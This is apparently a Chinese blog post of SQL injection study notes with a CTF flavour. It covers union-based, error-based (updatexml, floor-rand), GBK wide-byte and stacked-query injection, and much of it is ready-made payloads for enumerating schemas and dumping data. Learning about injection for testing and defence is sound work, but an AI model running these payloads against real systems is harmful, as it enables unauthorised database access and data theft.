作者:晨钟暮鼓芋 | 来源:互联网 | 2023-07-15 17:29
联合注入(union):①判断注入类型:先判断注入类型:字符型,数字型(注入ida报错表示类型为数字,即就是$id,没有””)判断如何包裹:输入去判断数据是如何包裹的,单引号报错是
联合注入(union): ①判断注入类型: 先判断注入类型:字符型,数字型(注入 id=a 报错表示 类型为数字 ,即就是$id,没有””)
判断如何包裹:输入去判断 数据是如何包裹的,单引号报错是单引号,双引号报错是双引号,在判断有没有括号包裹
例子:输入 a,1” ,1’ ,都报错 就是单纯的 $id 用 ‘,”,) 加在 id=1 后面,以 %23 结尾来测试 输入的结构 #是注释符 (url编码%23)
②查列数: 联合查询时 union select 后面列数要相同 (用oreer by)
③确定字段位置(为了确定数据与字段的对应关系) union select 1,2,3,4,5 (看 12345 的位置)
当⻚⾯只会显示⼀⾏数据时候,需要先拼上⼀个恒假的条件让前⾯的结果集没有输⼊ and 1=2 union select 1,2,3,4,5
④查表名 select group_concat(table_name) from information_schema.tables where table_schema=database()
⑤查列名 select group_concat(column_name) from information_schema.columns where table_name=‘xxx’
⑥查数据 例子:
无列名注入: ?id=1 union select 1,(select group_concat(a) from (select ‘a’ union select * from f1ag_table) as t)
报错注入: WHERE id =1 AND updatexml(1,concat(0x73,(select database())),1)
SELECT count(*),concat((select database()),floor(rand(114514)*2)) FROM users GROUP BY 2
宽字节注入: 利用 GBK 编码 用 %DF (因为可以和%5c 构成汉字 )来绕过注释 (比如’,” 符号会被加 \ 注释掉) 加 %DF 后 由于 DF 大于127 ,会把 %DF 和后一个字符(\)看作一个汉字,从而绕过注释
堆叠注入: 也叫多⾏注⼊,当代码允许多⾏查询时候使⽤,⼀般是在select等关键字被过滤的时候进⾏使⽤的。 对于堆叠注⼊,我们⼀般使⽤两种⽅式进⾏绕过select
1.查表: show databases; show tables;
Handler使⽤ handler test open; handler test read first; handler test close;
3.动态执⾏预处理 set @a=0xxxxx; # 要执⾏语句的16进制 prepare test from @a; execute test;